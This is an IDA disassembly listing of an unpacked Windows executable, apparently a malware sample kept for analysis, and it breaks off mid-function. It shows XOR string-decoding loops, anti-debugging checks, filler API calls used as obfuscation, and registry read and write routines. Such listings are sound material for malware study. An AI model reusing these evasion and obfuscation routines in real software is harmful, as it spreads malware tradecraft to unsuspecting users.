;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 5A0EC6EF259796FEB166CC67E65A50A8
; File Name : u:\work\5a0ec6ef259796feb166cc67e65a50a8_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0000C000 ( 49152.)
; Section size in file : 0000C000 ( 49152.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_text segment para public 'DATA' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
sub_401000 proc near ; DATA XREF: sub_401020+Ao
; sub_43DFC9+Ao
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
xor eax, eax
inc eax
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
jz short locret_40101F
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_40101F: ; CODE XREF: sub_401000+Ej
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401020 proc near ; CODE XREF: sub_40109A+BEp
; sub_40109A+ECp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_401000
push large dword ptr fs:0
mov large fs:0, esp
loc_40103D: ; CODE XREF: sub_401020+44j
; sub_401020+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40106C
cmp esi, [esp+1Ch+arg_4]
jz short loc_40106C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40103D
call dword ptr [ebx+esi*4+8]
jmp short loc_40103D
; ---------------------------------------------------------------------------
loc_40106C: ; CODE XREF: sub_401020+2Aj
; sub_401020+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_401020 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40107A proc near ; CODE XREF: sub_40109A+B1p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_401092
push [ebp+arg_0]
call sub_40C694 ; RtlUnwind
sub_40107A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_401092 proc near ; DATA XREF: sub_40107A+Bo
; sub_43E023+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401092 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40109A proc near ; DATA XREF: sub_401219+10o
; sub_407F67+Ao ...
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov dword_43B08C, eax
mov dword_43B090, ebx
test dword ptr [eax+4], 6
jnz loc_40117F
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov dword_43B090, eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4010DD: ; CODE XREF: sub_40109A+DCj
cmp esi, 0FFFFFFFFh
jz loc_40118E
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_40116D
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov dword_43B030, eax
mov edx, [ebp+var_14]
mov eax, [edx]
mov dword_43B034, eax
mov eax, [edx+4]
mov dword_43B038, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_43B03C
mov esi, dword_43B034
rep movsd
lea edi, dword_43B03C
mov dword_43B034, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_40116D
js short loc_40117B
mov edi, [ebx+8]
push ebx
call sub_40107A
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_401020
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_40116D: ; CODE XREF: sub_40109A+54j
; sub_40109A+A9j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_4010DD
; ---------------------------------------------------------------------------
loc_40117B: ; CODE XREF: sub_40109A+ABj
xor eax, eax
jmp short loc_4011F0
; ---------------------------------------------------------------------------
loc_40117F: ; CODE XREF: sub_40109A+23j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_401020
add esp, 0Ch
loc_40118E: ; CODE XREF: sub_40109A+46j
push 0
mov dword_43B010, 0Bh
push 0Bh
call sub_40CA24
add esp, 8
or eax, eax
jnz short loc_4011C9
push 0
mov dword_43B010, 8
push 8
call sub_40CA24
add esp, 8
or eax, eax
jnz short loc_4011C9
mov eax, 1
jmp short loc_4011F0
; ---------------------------------------------------------------------------
loc_4011C9: ; CODE XREF: sub_40109A+10Cj
; sub_40109A+126j
cmp eax, 0FFFFFFFFh
jz short loc_4011F8
push eax
push dword_43B010
call sub_40CA24
add esp, 8
push dword_43B010
call sub_40CA0C
add esp, 4
mov eax, 1
loc_4011F0: ; CODE XREF: sub_40109A+E3j
; sub_40109A+12Dj ...
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4011F8: ; CODE XREF: sub_40109A+132j
cmp dword_43B02C, 0
jnz short loc_401208
mov eax, 1
jmp short loc_4011F0
; ---------------------------------------------------------------------------
loc_401208: ; CODE XREF: sub_40109A+165j
mov eax, dword_43B02C
push 0Bh
jmp eax
sub_40109A endp
; ---------------------------------------------------------------------------
pop eax
mov eax, 1
jmp short loc_4011F0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401219 proc near ; CODE XREF: start+500j
; DATA XREF: start:loc_4494FCo
var_30 = word ptr -30h
var_18 = dword ptr -18h
var_4 = dword ptr -4
mov eax, large fs:0
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43B01C
push offset sub_40109A
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
push eax
fnstcw [esp+30h+var_30]
or [esp+30h+var_30], 300h
fldcw [esp+30h+var_30]
add esp, 4
push 0
push 0
push offset dword_43B028
push offset dword_43B024
push offset dword_43B020
call sub_40C9AC
push dword_43B028
push dword_43B024
push dword_43B020
mov dword_43B014, esp
call sub_40C434
add esp, 18h
xor ecx, ecx
mov [ebp+var_4], ecx
push eax
call sub_40C9DC
leave
retn
sub_401219 endp
; ---------------------------------------------------------------------------
mov large fs:0, eax
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40129C proc near ; CODE XREF: sub_408E89+1Ep
; sub_408E89+3Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+arg_4]
push esi
push [ebp+arg_0]
mov eax, dword_43B09C
lea eax, ds:41A870h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_4012DC
; ---------------------------------------------------------------------------
loc_4012C2: ; CODE XREF: sub_40129C+42j
mov eax, dword_43B09C
add eax, edi
lea eax, ds:41A870h[eax]
movsx edx, byte ptr [eax]
xor edx, 0ADh
mov [eax], dl
inc edi
loc_4012DC: ; CODE XREF: sub_40129C+24j
cmp edi, esi
jl short loc_4012C2
mov [ebp+var_4], 1A7h
mov eax, dword_43B09C
add eax, esi
mov byte ptr ds:dword_41A870[eax], 0
mov edi, dword_43B09C
add dword_43B09C, 2
mov eax, dword_43B09C
lea eax, [eax+esi+2]
mov dword_43B09C, eax
inc dword_43B09C
cmp dword_43B09C, 0DB6h
jle short loc_40132A
and dword_43B09C, 0
loc_40132A: ; CODE XREF: sub_40129C+85j
lea eax, dword_41A870[edi]
pop edi
pop esi
leave
retn
sub_40129C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401334 proc near ; CODE XREF: sub_408189+111p
var_14C23 = byte ptr -14C23h
var_14C1E = byte ptr -14C1Eh
var_14C18 = dword ptr -14C18h
var_14C12 = byte ptr -14C12h
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 14C24h
call sub_40C498
push ebx
push esi
push edi
call sub_40C574 ; GetProcessHeap
lea edi, [ebp+var_14C1E]
lea esi, aVk ; " vK%;"
mov ecx, 3
rep movsw
call sub_40C514 ; GetCurrentThreadId
push 0
push 0
push 3
push 0
push 0
push 80000000h
push offset dword_40F280
call sub_40C67C ; CreateFileA
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40138A
xor eax, eax
jmp loc_401424
; ---------------------------------------------------------------------------
loc_40138A: ; CODE XREF: sub_401334+4Dj
mov [ebp+var_8], 5F3Bh
mov eax, [ebp+var_8]
mov edx, eax
add edx, eax
mov [ebp+var_8], edx
push 0
lea eax, [ebp+var_14C18]
push eax
push 14C08h
lea eax, [ebp+var_14C12]
push eax
push [ebp+var_4]
call sub_40C688 ; ReadFile
mov [ebp+var_9], 0B7h
sub [ebp+var_9], 77h
push [ebp+var_4]
call sub_40C55C ; CloseHandle
mov [ebp+var_A], 22h
sub [ebp+var_A], 6Ch
xor ebx, ebx
loc_4013D2: ; CODE XREF: sub_401334+D9j
mov eax, 0Dh
sub eax, dword_43B098
push eax
push offset byte_432F00
lea eax, [ebp+ebx+var_14C12]
push eax
call sub_401806
add esp, 0Ch
cmp eax, 0FFFFh
jz short loc_4013FF
xor eax, eax
inc eax
jmp short loc_401424
; ---------------------------------------------------------------------------
loc_4013FF: ; CODE XREF: sub_401334+C4j
call sub_40C538 ; RtlGetLastWin32Error
add ebx, 11h
cmp ebx, [ebp+var_14C18]
jb short loc_4013D2
lea edi, [ebp+var_14C23]
lea esi, aByxy ; "Byxy"
mov ecx, 5
rep movsb
xor eax, eax
loc_401424: ; CODE XREF: sub_401334+51j
; sub_401334+C9j
pop edi
pop esi
pop ebx
leave
retn
sub_401334 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 2ADh
push esi
push dword ptr [ebp+8]
mov eax, dword_43B234
lea eax, ds:4196E0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_401472
; ---------------------------------------------------------------------------
loc_401458: ; CODE XREF: .text:00401474j
mov eax, dword_43B234
add eax, edi
lea eax, ds:4196E0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0ACh
mov [eax], dl
inc edi
loc_401472: ; CODE XREF: .text:00401456j
cmp edi, esi
jl short loc_401458
mov dword ptr [ebp-8], 194h
mov eax, dword_43B234
add eax, esi
mov byte ptr ds:dword_4196E0[eax], 0
mov edi, dword_43B234
mov eax, edi
add eax, 2
add eax, esi
mov dword_43B234, eax
cmp eax, 0DF0h
jle short loc_4014AC
and dword_43B234, 0
loc_4014AC: ; CODE XREF: .text:004014A3j
mov dword ptr [ebp-0Ch], 3DCh
lea eax, dword_4196E0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014BD proc near ; CODE XREF: sub_4062CD+D3p
; sub_408BE4+E6p ...
var_14 = byte ptr -14h
var_F = byte ptr -0Fh
var_A = byte ptr -0Ah
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
lea edi, [ebp+var_A]
lea esi, aMI5 ; "m i5"
mov ecx, 5
rep movsb
lea eax, [ebp+var_4]
push eax
push 20019h
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C934 ; RegOpenKeyExA
mov ebx, eax
lea edi, [ebp+var_F]
lea esi, a4Ec ; "4%ec"
mov ecx, 5
rep movsb
or ebx, ebx
jz short loc_401506
xor eax, eax
jmp short loc_401549
; ---------------------------------------------------------------------------
loc_401506: ; CODE XREF: sub_4014BD+43j
lea edi, [ebp+var_14]
lea esi, aXuT ; "xU t"
mov ecx, 5
rep movsb
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call sub_40C940 ; RegQueryValueExA
mov ebx, eax
mov [ebp+var_5], 0F0h
add [ebp+var_5], 0ABh
push [ebp+var_4]
call sub_40C928 ; RegCloseKey
or ebx, ebx
jz short loc_401546
xor eax, eax
jmp short loc_401549
; ---------------------------------------------------------------------------
loc_401546: ; CODE XREF: sub_4014BD+83j
xor eax, eax
inc eax
loc_401549: ; CODE XREF: sub_4014BD+47j
; sub_4014BD+87j
pop edi
pop esi
pop ebx
leave
retn
sub_4014BD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 3B4h
push esi
push dword ptr [ebp+8]
mov eax, dword_43B250
lea eax, ds:433FF0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_401597
; ---------------------------------------------------------------------------
loc_40157D: ; CODE XREF: .text:00401599j
mov eax, dword_43B250
add eax, edi
lea eax, ds:433FF0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0E6h
mov [eax], dl
inc edi
loc_401597: ; CODE XREF: .text:0040157Bj
cmp edi, esi
jl short loc_40157D
mov dword ptr [ebp-8], 153h
mov eax, dword_43B250
add eax, esi
mov byte ptr ds:dword_433FF0[eax], 0
mov edi, dword_43B250
add dword_43B250, 3
mov eax, dword_43B250
lea eax, [eax+esi+6]
mov dword_43B250, eax
cmp eax, 0DFFh
jle short loc_4015DA
and dword_43B250, 0
loc_4015DA: ; CODE XREF: .text:004015D1j
mov dword ptr [ebp-0Ch], 3D1h
lea eax, dword_433FF0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4015EB proc near ; CODE XREF: sub_405F79+9Fp
; sub_405F79+D8p ...
var_D = byte ptr -0Dh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
call sub_40C634 ; IsDebuggerPresent
call sub_40C514 ; GetCurrentThreadId
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C91C ; RegCreateKeyExA
mov ebx, eax
or ebx, ebx
jz short loc_401628
xor eax, eax
jmp short loc_401675
; ---------------------------------------------------------------------------
loc_401628: ; CODE XREF: sub_4015EB+37j
lea edi, [ebp+var_D]
lea esi, aDGu ; "D GU"
mov ecx, 5
rep movsb
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call sub_40C94C ; RegSetValueExA
mov ebx, eax
push [ebp+var_4]
call sub_40C928 ; RegCloseKey
or ebx, ebx
jz short loc_401660
xor eax, eax
jmp short loc_401675
; ---------------------------------------------------------------------------
loc_401660: ; CODE XREF: sub_4015EB+6Fj
call sub_40C5A4 ; GetVersion
cmp [ebp+var_8], 1
jnz short loc_401672
mov eax, 2
jmp short loc_401675
; ---------------------------------------------------------------------------
loc_401672: ; CODE XREF: sub_4015EB+7Ej
xor eax, eax
inc eax
loc_401675: ; CODE XREF: sub_4015EB+3Bj
; sub_4015EB+73j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4015EB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43B264
lea eax, ds:437190h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov dword ptr [ebp-4], 5Fh
xor edi, edi
jmp short loc_4016BF
; ---------------------------------------------------------------------------
loc_4016A8: ; CODE XREF: .text:004016C1j
mov eax, dword_43B264
add eax, edi
lea eax, ds:437190h[eax]
movsx edx, byte ptr [eax]
xor edx, 0Eh
mov [eax], dl
inc edi
loc_4016BF: ; CODE XREF: .text:004016A6j
cmp edi, esi
jl short loc_4016A8
mov eax, dword_43B264
add eax, esi
mov byte ptr ds:dword_437190[eax], 0
xor edi, edi
mov edi, dword_43B264
mov eax, edi
inc eax
add eax, esi
mov dword_43B264, eax
add dword_43B264, 3
cmp dword_43B264, 0DE6h
jle short loc_4016FE
and dword_43B264, 0
loc_4016FE: ; CODE XREF: .text:004016F5j
mov dword ptr [ebp-8], 6
lea eax, dword_437190[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40170F proc near ; CODE XREF: sub_405601+166p
; sub_408BE4+3Ap ...
var_4 = byte ptr -4
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_1], 9Fh
add [ebp+var_1], 0CBh
lea edi, [ebp+var_4]
lea esi, dword_43B268
mov ecx, 3
rep movsb
xor ebx, ebx
jmp short loc_40175A
; ---------------------------------------------------------------------------
loc_401732: ; CODE XREF: sub_40170F+4Ej
call sub_40CA18
mov edi, [ebp+arg_0]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov esi, eax
add esi, 61h
mov edx, esi
mov [edi+ebx], dl
inc ebx
loc_40175A: ; CODE XREF: sub_40170F+21j
cmp ebx, [ebp+arg_4]
jl short loc_401732
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov byte ptr [edx+eax], 0
mov eax, edx
pop edi
pop esi
pop ebx
leave
retn
sub_40170F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43B274
lea eax, ds:42EBA0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov dword ptr [ebp-4], 1Ah
xor edi, edi
jmp short loc_4017B4
; ---------------------------------------------------------------------------
loc_40179D: ; CODE XREF: .text:004017B6j
mov eax, dword_43B274
add eax, edi
lea eax, ds:42EBA0h[eax]
movsx edx, byte ptr [eax]
xor edx, 48h
mov [eax], dl
inc edi
loc_4017B4: ; CODE XREF: .text:0040179Bj
cmp edi, esi
jl short loc_40179D
mov eax, dword_43B274
add eax, esi
mov byte ptr ds:dword_42EBA0[eax], 0
mov edi, dword_43B274
add dword_43B274, 3
mov eax, dword_43B274
lea eax, [eax+esi+6]
mov dword_43B274, eax
add dword_43B274, 2
cmp dword_43B274, 0DD9h
jle short loc_4017FC
and dword_43B274, 0
loc_4017FC: ; CODE XREF: .text:004017F3j
lea eax, dword_42EBA0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401806 proc near ; CODE XREF: sub_401334+B7p
; sub_4053A1+57p ...
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_D], 9Fh
add [ebp+var_D], 0CBh
and [ebp+var_C], 0
lea edi, [ebp+var_10]
lea esi, dword_43B278
mov ecx, 3
rep movsb
and [ebp+var_8], 0
jmp short loc_4018AA
; ---------------------------------------------------------------------------
loc_401831: ; CODE XREF: sub_401806+B6j
call sub_40C634 ; IsDebuggerPresent
and [ebp+var_4], 0
call sub_40C598 ; GetTickCount
xor ebx, ebx
jmp short loc_401894
; ---------------------------------------------------------------------------
loc_401843: ; CODE XREF: sub_401806+9Fj
mov [ebp+var_11], 37h
add [ebp+var_11], 1
mov eax, [ebp+var_8]
add eax, ebx
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+ebx]
cmp eax, edx
jnz short loc_401865
inc [ebp+var_4]
loc_401865: ; CODE XREF: sub_401806+5Aj
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_40186D: ; CODE XREF: sub_401806+6Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40186D
cmp [ebp+var_4], eax
jnz short loc_401893
call sub_40C5A4 ; GetVersion
inc [ebp+var_C]
call sub_40C574 ; GetProcessHeap
mov eax, [ebp+arg_8]
cmp [ebp+var_C], eax
jnz short loc_401893
mov eax, [ebp+var_8]
jmp short loc_4018C7
; ---------------------------------------------------------------------------
loc_401893: ; CODE XREF: sub_401806+71j
; sub_401806+86j
inc ebx
loc_401894: ; CODE XREF: sub_401806+3Bj
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_40189C: ; CODE XREF: sub_401806+9Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40189C
cmp ebx, eax
jb short loc_401843
inc [ebp+var_8]
loc_4018AA: ; CODE XREF: sub_401806+29j
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4018B2: ; CODE XREF: sub_401806+B1j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4018B2
cmp [ebp+var_8], eax
jb loc_401831
mov eax, 0FFFFh
loc_4018C7: ; CODE XREF: sub_401806+8Bj
pop edi
pop esi
pop ebx
leave
retn
sub_401806 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43B284
lea eax, ds:415600h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov dword ptr [ebp-4], 5Fh
xor edi, edi
jmp short loc_401911
; ---------------------------------------------------------------------------
loc_4018FA: ; CODE XREF: .text:00401913j
mov eax, dword_43B284
add eax, edi
lea eax, ds:415600h[eax]
movsx edx, byte ptr [eax]
xor edx, 0Eh
mov [eax], dl
inc edi
loc_401911: ; CODE XREF: .text:004018F8j
cmp edi, esi
jl short loc_4018FA
mov eax, dword_43B284
add eax, esi
mov byte ptr ds:dword_415600[eax], 0
xor edi, edi
mov edi, dword_43B284
mov eax, edi
inc eax
add eax, esi
mov dword_43B284, eax
add dword_43B284, 3
cmp dword_43B284, 0DE6h
jle short loc_401950
and dword_43B284, 0
loc_401950: ; CODE XREF: .text:00401947j
mov dword ptr [ebp-8], 6
lea eax, dword_415600[edi]
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
call sub_40C508 ; GetCurrentProcessId
lea edi, [ebp-7]
lea esi, dword_43B288
mov ecx, 7
rep movsb
mov ebx, [ebp+10h]
jmp short loc_4019A0
; ---------------------------------------------------------------------------
loc_401983: ; CODE XREF: .text:004019A3j
mov eax, [ebp+8]
movsx eax, byte ptr [eax+ebx]
mov edx, ebx
sub edx, [ebp+10h]
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+edx]
cmp eax, edx
jz short loc_40199F
xor eax, eax
inc eax
jmp short loc_4019AC
; ---------------------------------------------------------------------------
loc_40199F: ; CODE XREF: .text:00401998j
inc ebx
loc_4019A0: ; CODE XREF: .text:00401981j
cmp ebx, [ebp+14h]
jl short loc_401983
call sub_40C538 ; RtlGetLastWin32Error
xor eax, eax
loc_4019AC: ; CODE XREF: .text:0040199Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43B298
lea eax, ds:433000h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_4019F0
; ---------------------------------------------------------------------------
loc_4019D6: ; CODE XREF: .text:004019F2j
mov eax, dword_43B298
add eax, edi
lea eax, ds:433000h[eax]
movsx edx, byte ptr [eax]
xor edx, 8Ah
mov [eax], dl
inc edi
loc_4019F0: ; CODE XREF: .text:004019D4j
cmp edi, esi
jl short loc_4019D6
mov eax, dword_43B298
add eax, esi
mov byte ptr ds:dword_433000[eax], 0
mov edi, dword_43B298
inc dword_43B298
mov eax, dword_43B298
add eax, 4
add eax, esi
mov dword_43B298, eax
cmp eax, 0DCFh
jle short loc_401A2C
and dword_43B298, 0
loc_401A2C: ; CODE XREF: .text:00401A23j
lea eax, dword_433000[edi]
pop edi
pop esi
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A36 proc near ; CODE XREF: sub_405601+4Ap
; sub_4062CD+470p ...
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_15 = dword ptr -15h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
lea edi, [ebp+var_9]
lea esi, byte_43B29C
xor ecx, ecx
inc ecx
rep movsb
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call sub_40C67C ; CreateFileA
mov ebx, eax
call sub_40C508 ; GetCurrentProcessId
cmp ebx, 0FFFFFFFFh
jnz short loc_401AA2
mov [ebp+var_1C], 0D77h
mov eax, [ebp+var_1C]
mov edx, eax
add edx, eax
mov [ebp+var_1C], edx
cmp [ebp+arg_4], 0
jz short loc_401A90
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
loc_401A90: ; CODE XREF: sub_401A36+52j
lea edi, [ebp+var_1D]
lea esi, byte_43B29D
xor ecx, ecx
inc ecx
rep movsb
xor eax, eax
jmp short loc_401B0C
; ---------------------------------------------------------------------------
loc_401AA2: ; CODE XREF: sub_401A36+3Bj
push 0
push ebx
call sub_40C520 ; GetFileSize
mov [ebp+var_4], eax
call sub_40C538 ; RtlGetLastWin32Error
mov eax, [ebp+var_4]
add eax, 10h
push eax
push 40h
call sub_40C64C ; LocalAlloc
mov [ebp+var_8], eax
call sub_40C634 ; IsDebuggerPresent
push 0
cmp [ebp+arg_4], 0
jz short loc_401AD8
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
jmp short loc_401ADE
; ---------------------------------------------------------------------------
loc_401AD8: ; CODE XREF: sub_401A36+98j
lea eax, [ebp+var_10]
mov [ebp+var_1C], eax
loc_401ADE: ; CODE XREF: sub_401A36+A0j
push [ebp+var_1C]
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_40C688 ; ReadFile
lea edi, [ebp+var_11]
lea esi, byte_43B29E
xor ecx, ecx
inc ecx
rep movsb
push ebx
call sub_40C55C ; CloseHandle
mov eax, dword_43B29F
mov [ebp+var_15], eax
mov eax, [ebp+var_8]
loc_401B0C: ; CODE XREF: sub_401A36+6Aj
pop edi
pop esi
pop ebx
leave
retn
sub_401A36 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 16Eh
push esi
push dword ptr [ebp+8]
mov eax, dword_43B2AC
lea eax, ds:410850h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov dword ptr [ebp-8], 17Eh
xor edi, edi
jmp short loc_401B5D
; ---------------------------------------------------------------------------
loc_401B46: ; CODE XREF: .text:00401B5Fj
mov eax, dword_43B2AC
add eax, edi
lea eax, ds:410850h[eax]
movsx edx, byte ptr [eax]
xor edx, 73h
mov [eax], dl
inc edi
loc_401B5D: ; CODE XREF: .text:00401B44j
cmp edi, esi
jl short loc_401B46
mov eax, dword_43B2AC
add eax, esi
mov byte ptr ds:dword_410850[eax], 0
mov edi, dword_43B2AC
mov eax, edi
